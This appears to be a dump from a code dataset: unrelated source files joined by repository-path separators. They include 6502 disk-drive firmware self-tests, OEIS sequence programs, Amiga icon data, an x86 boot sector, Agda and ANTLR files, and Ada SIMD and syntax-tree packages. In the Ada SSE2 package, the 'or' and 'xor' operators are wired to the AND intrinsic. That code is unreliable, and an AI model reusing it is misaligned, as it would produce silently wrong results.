pe30 lda #pwr_led+act_led
ora pa
sta pa ; turn on led
tya ; clear inner ctr
pd10 clc
pd20 adc #1 ; count inner ctr
bne pd20
dey ; done ?
bne pd10 ; no
lda pa
and #all-pwr_led-act_led
sta pa ; turn off all led
pe40 tya ; clear inner ctr
pd11 clc
pd21 adc #1 ; count inner ctr
bne pd21
dey ; done ?
bne pd11 ; no
dex ; blinked # ?
bpl pe30 ; no - blink again
cpx #$f9 ; waited between counts ?
bne pe40 ; no
beq pe20 ; always - all again
dskint sei ; reset entry
cld
lda #init_prt_pa
sta pa
lda #init_dd_pa
sta ddpa
lda #init_prt_pb
sta pb
lda #init_dd_pb
sta ddpb
lda #0
sta tima_h ; set baud rate up
lda #6
sta tima_l ; 6uS bit
lda #1
sta cra ; sp input, phi2, cont, start
lda #$9a
sta icr ; irq on flag, sp, timerb
ldy #0
ldx #0
pu10 txa ; fill z-page with
sta $0,x ; accend pattern
inx
bne pu10
pu20 txa ; chk pattern by inc
cmp $0,x ; ...back to orig #
bne pezro ; bad bits
pu30 inc $0,x ; bump contents
iny
bne pu30 ; not done
cmp $0,x ; check for good count
bne pezro ; something's wrong
sty $0,x ; leave z-page zeroed
lda $0,x ; check it
bne pezro ; wrong
inx ; next!
bne pu20 ; not all done
; test 32k byte rom
; enter x=start page
; exit if ok
rm10 inc temp ; next error #
ldx #127 ; 128 pages
stx ip+1 ; save page, start x=0
inx
lda #0
sta ip ; zero lo indirect
ldy #2 ; skip signature bytes
clc
rt10 inc ip+1 ; do it backwards
rt20 adc (ip),y ; total checksum in a
iny
bne rt20
dex
bne rt10
adc #255 ; add in last carry
sta ip+1
bne perr2 ; no - show error number
; test all common ram
cr20 lda #$01 ; start of 1st block
cr30 sta ip+1 ; save page #
inc temp ; bump error #
; enter x=# of pages in block
; ip ptr to first page in block
; exit if ok
ramtst ldx #31 ; save page count
ra10 tya ; fill with adr sensitive pattern
clc
adc ip+1
sta (ip),y
iny
bne ra10
inc ip+1
dex
bne ra10
ldx #31 ; restore page count
ra30 dec ip+1 ; check pattern backwards
ra40 dey
tya ; gen pattern again
clc
adc ip+1
cmp (ip),y ; ok ?
bne perr2 ; no - show error #
eor #$ff ; yes - test inverse pattern
sta (ip),y
eor (ip),y ; ok ?
sta (ip),y ; leave memory zero
bne perr2 ; no - show error #
tya
bne ra40
dex
bne ra30
lda #bit7
sta dejavu ; enable autoloader
bne diagok
perr2 jmp perr
diagok sei
ldx #dtos
stx tos
txs
jsr vectors ; setup default vectors
jsr restore ; restore all
bit dejavu
bpl diagrtn ; boot?
jmp cbmboot ; try to boot "COPYRIGHT CBM 86" USR file
diagrtn lda #$73 ; pwr on msg
jsr errts0 ; copyright cbm dos
jsr tstatn ; check for atn
jmp jidle
restore lda pa ; compute primary addr
and #dev_sel1+dev_sel2
lsr a
lsr a
lsr a
ora #$48 ; talk address
sta tlkadr
eor #$60 ; listen address
sta lsnadr
ldx #numjob
lda #>bam2
dskin0 sta bufind,x ; set buff indirects
sec
sbc #1
dex
bpl dskin0
ldx #0 ; init buf pntr tbl
ldy #0
intt1 lda #0
sta buftab,x
inx
lda bufind,y
sta buftab,x
inx
iny
cpy #bfcnt+2 ; include bams
bne intt1
lda #<cmdbuf ; set pntr to cmdbuf
sta buftab,x
lda #>cmdbuf
sta buftab+1,x
lda #<errbuf ; set pntr to errbuf
sta buftab+2,x
lda #>errbuf
sta buftab+3,x
lda #$ff
ldx #maxsa
dskin1 sta lintab,x
dex
bpl dskin1
ldx #mxchns-1
dskin2 sta buf0,x ; set buff as unused
sta buf1,x
sta ss,x
dex
bpl dskin2
lda #bfcnt+2 ; set buffer pointers
sta buf0+cmdchn
lda #bfcnt+3
sta buf0+errchn
lda #errchn
sta lintab+errsa
lda #cmdchn+$80
sta lintab+cmdsa
lda #lxint ; lindx 0 to 4 free
sta linuse
lda #rdylst
sta chnrdy+cmdchn
lda #rdytlk
sta chnrdy+errchn
lda #$80 ; all 7 bufs free
sta bufuse
lda #1
sta wpsw
jsr usrint ; init user jmp
jsr lruint
lda #1 ; set up sec offset
sta secinc
lda #2
sta revcnt ; set up recovery count
lda #0
sta dkoramask ; ora mask for burst
lda #all
sta dkandmask ; *
lda #<buffcache
sta cache ; indirect for track cache buffer
lda #>buffcache
sta cache+1 ; indirect for track cache buffer
lda #bit3
sta fsflag ; fast serial enabled
lda #$33
sta dosver ; init DOS version & type
lda #$44
sta vernum
lda #sysiob
sta iobyte ; bit-7 verify on, bit-6 crc check on, bit-5 part on
lda #$50 ; +700 mS.
sta motoracc ; acceleration startup
lda #32
sta sieeeset ; track buffer timeout
ldx #0 ; job #0
lda #reset_dv ; reset device & restore head
jsr strobe_controller
cmp #2
bcs + ; controller error
lda #restore_dv
jmp strobe_controller
+ lda #cntrer
jmp errts0 ; controller error
setdef lda #0
sta pstartrk ; physical starting track
lda #1
sta startrk ; logical starting track
lda #sysdirsec
sta dirst ; starting directory sector
lda #81
sta maxtrk
lda #79
sta pmaxtrk ; physical ending track for formatting
lda #systrack
sta dirtrk ; system track
rts
psetdef lda #40 ; ****** 24h, 28H *****
sta numsec ; logical number of sectors per cylinder
ldy #sysiz
sty psectorsiz ; physical sector size (512)
lda nsecks,y
sta pnumsec ; physical number of sectors per cylinder
sta pendsec ; last physical sector number
sta maxsek
dey
sty pstartsec ; physical starting sector
sty minsek
lda #$f5
sta fillbyte ; fill byte ($f5 - verify with track cache)
lda #35
sta gap3 ; gap for formatting
rts
|
data/mapHeaders/viridianpokecenter.asm
|
adhi-thirumala/EvoYellow
| 16 |
164517
|
<filename>data/mapHeaders/viridianpokecenter.asm<gh_stars>10-100
ViridianPokecenter_h:
db POKECENTER ; tileset
db VIRIDIAN_POKECENTER_HEIGHT, VIRIDIAN_POKECENTER_WIDTH ; dimensions (y, x)
dw ViridianPokecenterBlocks, ViridianPokecenterTextPointers, ViridianPokeCenterScript ; blocks, texts, scripts
db $00 ; connections
dw ViridianPokecenterObject ; objects
|
programs/oeis/312/A312484.asm
|
neoneye/loda
| 22 |
167615
|
; A312484: Coordination sequence Gal.5.81.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,4,8,14,18,22,26,32,36,40,44,48,54,58,62,66,72,76,80,84,88,94,98,102,106,112,116,120,124,128,134,138,142,146,152,156,160,164,168,174,178,182,186,192,196,200,204,208,214,218
mov $2,$0
mul $0,2
add $0,3
mov $1,$0
sub $0,2
add $1,2
lpb $1
trn $0,2
add $0,4
sub $1,7
trn $1,2
lpe
lpb $2
add $0,2
sub $2,1
lpe
sub $0,3
|
Src/Ant8/Tests/aa8/basic/e_byte_6.asm
|
geoffthorpe/ant-architecture
| 0 |
80025
|
<reponame>geoffthorpe/ant-architecture
# $Id: e_byte_6.asm,v 1.1 2001/03/14 04:02:10 ellard Exp $
#@ tests for invalid constant (undefined label).
_data_:
.byte $_foo_
|
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/NES_Ver2/us_asm/zel_ram1.asm
|
prismotizm/gigaleak
| 0 |
241553
|
Name: zel_ram1.asm
Type: file
Size: 65587
Last-Modified: '2016-05-13T04:27:09Z'
SHA-1: 346460F5965BA8BB8772BB181DDC8850CF7DB60A
Description: null
|
test/Succeed/Issue2650.agda
|
asr/eagda
| 1 |
2222
|
<filename>test/Succeed/Issue2650.agda
{-# OPTIONS --cubical #-}
module _ where
module _ where
import Agda.Primitive
open import Agda.Primitive.Cubical public
postulate
Path' : ∀ {ℓ} {A : Set ℓ} → A → A → Set ℓ
PathP : ∀ {ℓ} (A : I → Set ℓ) → A i0 → A i1 → Set ℓ
{-# BUILTIN PATH Path' #-}
{-# BUILTIN PATHP PathP #-}
infix 4 _≡_
_≡_ : ∀ {ℓ} {A : Set ℓ} → A → A → Set ℓ
_≡_ {A = A} = PathP (λ _ → A)
Path = _≡_
refl : ∀ {a} {A : Set a} {x : A} → x ≡ x
refl {x = x} = \ _ → x
testPath : ∀ {A : Set} {b a : A} (let H : Path b b; H = _) → ∀ i → H i ≡ b
testPath i = refl
|
research/deficon/def_drawer-icon_36_336.asm
|
nicodex/HelloAmi
| 16 |
3567
|
; vasmm68k_mot[_<HOST>] -Fbin -o icon_36_336/def_drawer.info def_drawer-icon_36_336.asm
;
; Default "ENV:def_drawer.info" data included in "icon 36.336 (8.6.90)".
;
include deficon.inc
ifne DEFICON_MEM
align 1
endif
defIconDrawer:
dc.w $E310 ; do_Magic = WB_DISKMAGIC
dc.w $0001 ; do_Version = WB_DISKVERSION
dc.l 0 ; do_Gadget+gg_NextGadget
dc.w 0,0 ; do_Gadget+gg_LeftEdge/gg_TopEdge
dc.w 80,16 ; do_Gadget+gg_Width/gg_Height
dc.w $0006 ; do_Gadget+gg_Flags =
; GFLG_GADGIMAGE
; GFLG_GADGHIMAGE
dc.w $0003 ; do_Gadget+gg_Activation =
; GACT_RELVERIFY
; GACT_IMMEDIATE
dc.w $0001 ; do_Gadget+gg_GadgetType =
; GTYP_BOOLGADGET
DEFICON_PTR .GadgetRender ; do_Gadget+gg_GadgetRender
DEFICON_PTR .SelectRender ; do_Gadget+gg_SelectRender
dc.l 0 ; do_Gadget+gg_GadgetText
dc.l 0 ; do_Gadget+gg_MutualExclude
dc.l 0 ; do_Gadget+gg_SpecialInfo
dc.w 0 ; do_Gadget+gg_GadgetID
dc.l 0 ; do_Gadget+gg_UserData
dc.b 2 ; do_Type = WBDRAWER
dc.b 0 ; do_PAD_BYTE
dc.l 0 ; do_DefaultTool
dc.l 0 ; do_ToolTypes
dc.l $80000000 ; do_CurrentX = NO_ICON_POSITION
dc.l $80000000 ; do_CurrentY = NO_ICON_POSITION
DEFICON_PTR .DrawerData ; do_DrawerData
dc.l 0 ; do_ToolWindow
dc.l 0 ; do_StackSize
.DrawerData:
dc.w 322,11 ; dd_NewWindow+nw_LeftEdge/nw_TopEdge
dc.w 200,100 ; dd_NewWindow+nw_Width/nw_Height
dc.b -1,-1 ; dd_NewWindow+nw_DetailPen/nw_BlockPen
dc.l 0 ; dd_NewWindow+nw_IDCMPFlags
dc.l $0240027F ; dd_NewWindow+nw_Flags =
; WFLG_SIZEGADGET
; WFLG_DRAGBAR
; WFLG_DEPTHGADGET
; WFLG_CLOSEGADGET
; WFLG_SIZEBRIGHT
; WFLG_SIZEBBOTTOM
; WFLG_SIMPLE_REFRESH
; WFLG_REPORTMOUSE
; $00400000
; WFLG_WBENCHWINDOW
dc.l 0 ; dd_NewWindow+nw_FirstGadget
dc.l 0 ; dd_NewWindow+nw_CheckMark
dc.l 0 ; dd_NewWindow+nw_Title
dc.l 0 ; dd_NewWindow+nw_Screen
dc.l 0 ; dd_NewWindow+nw_BitMap
dc.w 90,40 ; dd_NewWindow+nw_MinWidth/nw_MinHeight
dc.w 65535,65535 ; dd_NewWindow+nw_MaxWidth/nw_MaxHeight
dc.w $0001 ; dd_NewWindow+nw_Type = WBENCHSCREEN
dc.l 0,0 ; dd_CurrentX/CurrentY
ifne DEFICON_MEM
dc.l 0 ; dd_Flags
dc.w 0 ; dd_ViewModes
endif
.GadgetRender:
dc.w 0,0 ; ig_LeftEdge/ig_TopEdge
dc.w 80,16 ; ig_Width/ig_Height
dc.w 2 ; ig_Depth
DEFICON_PTR .GadgetImage ; ig_ImageData
dc.b (1<<2)-1,0 ; ig_PlanePick/ig_PlaneOnOff
dc.l 0 ; ig_NextImage
.GadgetImage:
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111100100000
dc.w %0000011000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000100000
dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000100100000
dc.w %0000010000000000,%0000000000001000,%0000000000000000,%1000000000000000,%0000000100100000
dc.w %0000010000000000,%0000000000001001,%1111111111111100,%1000000000000000,%0000000100100000
dc.w %0000010000000000,%0000000000001001,%1101010101010100,%1000000000000000,%0000000100100000
dc.w %0000010000000000,%0000000000001000,%0000000000000000,%1000000000000000,%0000000100100000
dc.w %0000010000000000,%0000000000000111,%1111111111111111,%0000000000000000,%0000000100100000
dc.w %0000010000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000100100000
dc.w %0000010011111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111100100000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000100000
dc.w %0000011111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111111100000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0001111111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111111000000
dc.w %0001100000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000011000000
dc.w %0001100111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111111000000
dc.w %0001101111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111011000000
dc.w %0001101111111111,%1111111111110111,%1111111111111111,%0111111111111111,%1111111011000000
dc.w %0001101111111111,%1111111111110110,%0000000000000011,%0111111111111111,%1111111011000000
dc.w %0001101111111111,%1111111111110110,%0010101010101011,%0111111111111111,%1111111011000000
dc.w %0001101111111111,%1111111111110111,%1111111111111111,%0111111111111111,%1111111011000000
dc.w %0001101111111111,%1111111111111000,%0000000000000000,%1111111111111111,%1111111011000000
dc.w %0001101111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111011000000
dc.w %0001101100000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000011000000
dc.w %0001111111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111111000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
.SelectRender:
dc.w 0,0 ; ig_LeftEdge/ig_TopEdge
dc.w 80,16 ; ig_Width/ig_Height
dc.w 2 ; ig_Depth
DEFICON_PTR .SelectImage ; ig_ImageData
dc.b (1<<2)-1,0 ; ig_PlanePick/ig_PlaneOnOff
dc.l 0 ; ig_NextImage
.SelectImage:
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000011111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111100100000
dc.w %0000110000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000010100000
dc.w %0001100000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000001100000
dc.w %0011111111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111111100000
dc.w %0010000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000110000
dc.w %0010000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000110100
dc.w %0010000000000000,%0000000000001000,%0000000000000000,%1000000000000000,%0000000000110100
dc.w %0010000000000000,%0000000000001001,%1111111111111100,%1000000000000000,%0000000000110101
dc.w %0010000000000000,%0000000000001001,%1101010101010100,%1000000000000000,%0000000000110101
dc.w %0010000000000000,%0000000000001000,%0000000000000000,%1000000000000000,%0000000000110101
dc.w %0010000000000000,%0000000000000111,%1111111111111111,%0000000000000000,%0000000000110101
dc.w %0010000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000110101
dc.w %0011111111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111111110101
dc.w %0000000001010101,%0101010101010101,%0101010101010101,%0101010101010101,%0101010101010101
dc.w %0000000000010101,%0101010101010101,%0101010101010101,%0101010101010101,%0101010101010101
dc.w %0001111111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111111000000
dc.w %0001100000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000011000000
dc.w %0001001111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111101000000
dc.w %0000011111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111110000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0001111111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111111000000
dc.w %0001111111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111111000000
dc.w %0001111111111111,%1111111111110111,%1111111111111111,%0111111111111111,%1111111111000000
dc.w %0001111111111111,%1111111111110110,%0000000000000011,%0111111111111111,%1111111111000000
dc.w %0001111111111111,%1111111111110110,%0010101010101011,%0111111111111111,%1111111111000000
dc.w %0001111111111111,%1111111111110111,%1111111111111111,%0111111111111111,%1111111111000000
dc.w %0001111111111111,%1111111111111000,%0000000000000000,%1111111111111111,%1111111111000000
dc.w %0001111111111111,%1111111111111111,%1111111111111111,%1111111111111111,%1111111111000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
dc.w %0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000,%0000000000000000
|
src/boot.asm
|
anders-14/osdev
| 0 |
173206
|
<filename>src/boot.asm
org 0x7C00
bits 16
jmp start
%include "./include/read_disk.asm"
start:
; Setup memory to load kernel into
mov bx, 0x100
mov es, bx
mov bx, 0x00
mov dh, 0x01 ; number of sectors to read
call read_disk
jmp 0x0100:0x0000 ; jump to kernel at 0x100:0x0 = 0x1000
; Sector padding
times 510-($-$$) db 0
; Magic boot number
db 0x55
db 0xAA
|
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sccz80/round_fastcall.asm
|
Frodevan/z88dk
| 640 |
166160
|
SECTION code_fp_math32
PUBLIC round_fastcall
EXTERN _m32_roundf
defc round_fastcall = _m32_roundf
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _round_fastcall
defc _round_fastcall = _m32_roundf
ENDIF
|
legend-engine-language-pure-dsl-generation/src/main/antlr4/org/finos/legend/engine/language/pure/grammar/from/antlr4/GenerationSpecificationLexerGrammar.g4
|
dave-wathen/legend-engine
| 32 |
6466
|
<filename>legend-engine-language-pure-dsl-generation/src/main/antlr4/org/finos/legend/engine/language/pure/grammar/from/antlr4/GenerationSpecificationLexerGrammar.g4<gh_stars>10-100
lexer grammar GenerationSpecificationLexerGrammar;
import CoreLexerGrammar;
// -------------------------------------- KEYWORD --------------------------------------
GENERATION_SPECIFICATION: 'GenerationSpecification';
IMPORT: 'import';
GENERATION_ELEMENT: 'generationElement';
GENERATION_NODES: 'generationNodes';
FILE_GENERATIONS: 'fileGenerations';
NODE_ID: 'id';
|
Chapter_4/Program 4.2/x86:64/Program_4.2_MASM.asm
|
chen150182055/Assembly
| 272 |
103876
|
<reponame>chen150182055/Assembly<filename>Chapter_4/Program 4.2/x86:64/Program_4.2_MASM.asm
; Program 4.2
; Multiplication and Division - MASM (64-bit)
; Copyright (c) 2019 <NAME>
extrn ExitProcess : proc
.data
mval DWORD 664751
dval DWORD 8
.code
_main PROC
; MUL 1-op
mov eax, mval
mov ebx, 8
mul ebx
; IMUL 1-op
mov eax, mval
mov ebx, 8
imul ebx
; IMUL 2-op
mov eax, 8
imul eax, mval
; IMUL 3-op
imul eax, mval, 8
; DIV 1-op
mov edx, 0
mov eax, 5318008
mov ecx, dval
div ecx
; IDIV 1-op
mov edx, 0
mov eax, 5318008
mov ecx, dval
idiv ecx
xor rcx, rcx
call ExitProcess
_main ENDP
END
|
notes/FOT/FOTC/Program/Mirror/Induction/InductionPrinciples.agda
|
asr/fotc
| 11 |
11796
|
<gh_stars>10-100
------------------------------------------------------------------------------
-- Induction principles for Tree and Forest
------------------------------------------------------------------------------
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
{-# OPTIONS --no-universe-polymorphism #-}
{-# OPTIONS --without-K #-}
module FOT.FOTC.Program.Mirror.Induction.InductionPrinciples where
open import FOTC.Base
open import FOTC.Base.List
open import FOTC.Program.Mirror.Type
------------------------------------------------------------------------------
-- These induction principles *not cover* the mutual structure of the
-- types Tree and Rose (Bertot and Casterán, 2004, p. 401).
-- Induction principle for Tree.
Tree-ind : (A : D → Set) →
(∀ d {ts} → Forest ts → A (node d ts)) →
∀ {t} → Tree t → A t
Tree-ind A h (tree d Fts) = h d Fts
-- Induction principle for Forest.
Forest-ind : (A : D → Set) →
A [] →
(∀ {t ts} → Tree t → Forest ts → A ts → A (t ∷ ts)) →
∀ {ts} → Forest ts → A ts
Forest-ind A A[] h fnil = A[]
Forest-ind A A[] h (fcons Tt Fts) = h Tt Fts (Forest-ind A A[] h Fts)
------------------------------------------------------------------------------
-- References
--
-- Bertot, <NAME> Castéran, Pierre (2004). Interactive Theorem
-- Proving and Program Development. Coq’Art: The Calculus of Inductive
-- Constructions. Springer.
|
intro.ads
|
Spohn/LegendOfZelba
| 2 |
30255
|
with ada.text_io;
use ada.text_io;
package intro is
-------------------------------
-- Name: <NAME>
-- <NAME>
-- Game Intro Package Specification
-------------------------------
--read in and display title page
procedure title_page(file:in file_type);
end intro;
|
oeis/190/A190957.asm
|
neoneye/loda-programs
| 11 |
163115
|
; A190957: a(n) = 10*a(n-1) + 8*a(n-2), with a(0)=0, a(1)=1.
; Submitted by <NAME>(s4)
; 0,1,10,108,1160,12464,133920,1438912,15460480,166116096,1784844800,19177376768,206052526080,2213944274944,23787862958080,255590183780352,2746204741468160,29506768884924416,317037326780989440,3406427418889289728,36600572803140812800,393257147382522445824,4225376056250350960640,45399817741563689172992,487801185865639699415040,5241210400588906507534336,56314513492814182670663680,605074818132853078766911488,6501264289271044249034424320,69853241437773267120479535104,750542528691901025197070745600
mov $1,1
lpb $0
sub $0,1
mov $2,$3
mul $2,8
mul $3,10
add $3,$1
mov $1,$2
lpe
mov $0,$3
|
orka_simd/src/x86/generic/orka-simd-sse2-integers-logical.adb
|
onox/orka
| 52 |
9045
|
<reponame>onox/orka
-- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2021 onox <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Ada.Unchecked_Conversion;
package body Orka.SIMD.SSE2.Integers.Logical is
type Unsigned_128 is array (Index_2D) of Unsigned_64
with Alignment => 16;
pragma Machine_Attribute (Unsigned_128, "vector_type");
function And_Not (Left, Right : Unsigned_128) return Unsigned_128
with Import, Convention => Intrinsic, External_Name => "__builtin_ia32_pandn128";
function "and" (Left, Right : Unsigned_128) return Unsigned_128
with Import, Convention => Intrinsic, External_Name => "__builtin_ia32_pand128";
function "or" (Left, Right : Unsigned_128) return Unsigned_128
with Import, Convention => Intrinsic, External_Name => "__builtin_ia32_pand128";
function "xor" (Left, Right : Unsigned_128) return Unsigned_128
with Import, Convention => Intrinsic, External_Name => "__builtin_ia32_pand128";
----------------------------------------------------------------------------
function Convert is new Ada.Unchecked_Conversion (m128i, Unsigned_128);
function Convert is new Ada.Unchecked_Conversion (Unsigned_128, m128i);
function And_Not (Left, Right : m128i) return m128i is
(Convert (And_Not (Convert (Left), Convert (Right))));
function "and" (Left, Right : m128i) return m128i is
(Convert (Convert (Left) and Convert (Right)));
function "or" (Left, Right : m128i) return m128i is
(Convert (Convert (Left) or Convert (Right)));
function "xor" (Left, Right : m128i) return m128i is
(Convert (Convert (Left) xor Convert (Right)));
end Orka.SIMD.SSE2.Integers.Logical;
|
programs/oeis/146/A146994.asm
|
karttu/loda
| 0 |
1275
|
<reponame>karttu/loda
; A146994: a(n) = (n+1)^2/4 + (floor((n+5)/6) - 1/4) * ((n+1) mod 2).
; 1,3,4,7,9,13,16,22,25,32,36,44,49,59,64,75,81,93,100,114,121,136,144,160,169,187,196,215,225,245,256,278,289,312,324,348,361,387,400,427,441,469,484,514,529,560,576,608,625,659,676,711,729,765,784,822,841,880,900,940,961,1003,1024,1067,1089,1133,1156,1202,1225,1272,1296,1344,1369,1419,1444,1495,1521,1573,1600,1654,1681,1736,1764,1820,1849,1907,1936,1995,2025,2085,2116,2178,2209,2272,2304,2368,2401,2467,2500,2567,2601,2669,2704,2774,2809,2880,2916,2988,3025,3099,3136,3211,3249,3325,3364,3442,3481,3560,3600,3680,3721,3803,3844,3927,3969,4053,4096,4182,4225,4312,4356,4444,4489,4579,4624,4715,4761,4853,4900,4994,5041,5136,5184,5280,5329,5427,5476,5575,5625,5725,5776,5878,5929,6032,6084,6188,6241,6347,6400,6507,6561,6669,6724,6834,6889,7000,7056,7168,7225,7339,7396,7511,7569,7685,7744,7862,7921,8040,8100,8220,8281,8403,8464,8587,8649,8773,8836,8962,9025,9152,9216,9344,9409,9539,9604,9735,9801,9933,10000,10134,10201,10336,10404,10540,10609,10747,10816,10955,11025,11165,11236,11378,11449,11592,11664,11808,11881,12027,12100,12247,12321,12469,12544,12694,12769,12920,12996,13148,13225,13379,13456,13611,13689,13845,13924,14082,14161,14320,14400,14560,14641,14803,14884,15047,15129,15293,15376,15542,15625,15792
mov $2,$0
add $2,1
mov $7,$0
lpb $2,1
mov $0,$7
sub $2,1
sub $0,$2
add $0,1
mov $4,$0
gcd $4,2
mov $6,$0
mul $6,$4
mov $0,$6
add $0,4
mov $3,$0
add $3,1
mul $3,2
div $3,6
mov $5,$3
sub $5,1
add $1,$5
lpe
|
src/res/visual/sprites/sprite_table.asm
|
Xeyler/gb-hello-world
| 0 |
177657
|
SECTION "sprite table", ROMX
sprite_table:
.main_sprite:
INCBIN "res/visual/sprites/brigham.bin"
.end:
|
source/nodes/program-nodes-formal_package_associations.ads
|
optikos/oasis
| 0 |
561
|
-- Copyright (c) 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
with Program.Elements.Expressions;
with Program.Lexical_Elements;
with Program.Elements.Formal_Package_Associations;
with Program.Element_Visitors;
package Program.Nodes.Formal_Package_Associations is
pragma Preelaborate;
type Formal_Package_Association is
new Program.Nodes.Node
and Program.Elements.Formal_Package_Associations
.Formal_Package_Association
and Program.Elements.Formal_Package_Associations
.Formal_Package_Association_Text
with private;
function Create
(Formal_Parameter : Program.Elements.Expressions.Expression_Access;
Arrow_Token : Program.Lexical_Elements.Lexical_Element_Access;
Actual_Parameter : Program.Elements.Expressions.Expression_Access;
Box_Token : Program.Lexical_Elements.Lexical_Element_Access)
return Formal_Package_Association;
type Implicit_Formal_Package_Association is
new Program.Nodes.Node
and Program.Elements.Formal_Package_Associations
.Formal_Package_Association
with private;
function Create
(Formal_Parameter : Program.Elements.Expressions.Expression_Access;
Actual_Parameter : Program.Elements.Expressions.Expression_Access;
Is_Part_Of_Implicit : Boolean := False;
Is_Part_Of_Inherited : Boolean := False;
Is_Part_Of_Instance : Boolean := False)
return Implicit_Formal_Package_Association
with Pre =>
Is_Part_Of_Implicit or Is_Part_Of_Inherited or Is_Part_Of_Instance;
private
type Base_Formal_Package_Association is
abstract new Program.Nodes.Node
and Program.Elements.Formal_Package_Associations
.Formal_Package_Association
with record
Formal_Parameter : Program.Elements.Expressions.Expression_Access;
Actual_Parameter : Program.Elements.Expressions.Expression_Access;
end record;
procedure Initialize
(Self : aliased in out Base_Formal_Package_Association'Class);
overriding procedure Visit
(Self : not null access Base_Formal_Package_Association;
Visitor : in out Program.Element_Visitors.Element_Visitor'Class);
overriding function Formal_Parameter
(Self : Base_Formal_Package_Association)
return Program.Elements.Expressions.Expression_Access;
overriding function Actual_Parameter
(Self : Base_Formal_Package_Association)
return Program.Elements.Expressions.Expression_Access;
overriding function Is_Formal_Package_Association_Element
(Self : Base_Formal_Package_Association)
return Boolean;
overriding function Is_Association_Element
(Self : Base_Formal_Package_Association)
return Boolean;
type Formal_Package_Association is
new Base_Formal_Package_Association
and Program.Elements.Formal_Package_Associations
.Formal_Package_Association_Text
with record
Arrow_Token : Program.Lexical_Elements.Lexical_Element_Access;
Box_Token : Program.Lexical_Elements.Lexical_Element_Access;
end record;
overriding function To_Formal_Package_Association_Text
(Self : aliased in out Formal_Package_Association)
return Program.Elements.Formal_Package_Associations
.Formal_Package_Association_Text_Access;
overriding function Arrow_Token
(Self : Formal_Package_Association)
return Program.Lexical_Elements.Lexical_Element_Access;
overriding function Box_Token
(Self : Formal_Package_Association)
return Program.Lexical_Elements.Lexical_Element_Access;
type Implicit_Formal_Package_Association is
new Base_Formal_Package_Association
with record
Is_Part_Of_Implicit : Boolean;
Is_Part_Of_Inherited : Boolean;
Is_Part_Of_Instance : Boolean;
end record;
overriding function To_Formal_Package_Association_Text
(Self : aliased in out Implicit_Formal_Package_Association)
return Program.Elements.Formal_Package_Associations
.Formal_Package_Association_Text_Access;
overriding function Is_Part_Of_Implicit
(Self : Implicit_Formal_Package_Association)
return Boolean;
overriding function Is_Part_Of_Inherited
(Self : Implicit_Formal_Package_Association)
return Boolean;
overriding function Is_Part_Of_Instance
(Self : Implicit_Formal_Package_Association)
return Boolean;
end Program.Nodes.Formal_Package_Associations;
|
decreasoner.macosx/software/relsat-dist/gmp-3.1/mpn/alpha/ev5/lshift.asm
|
problem-frames/openpf
| 1 |
92020
|
dnl Alpha EV5 __gmpn_lshift -- Shift a number left.
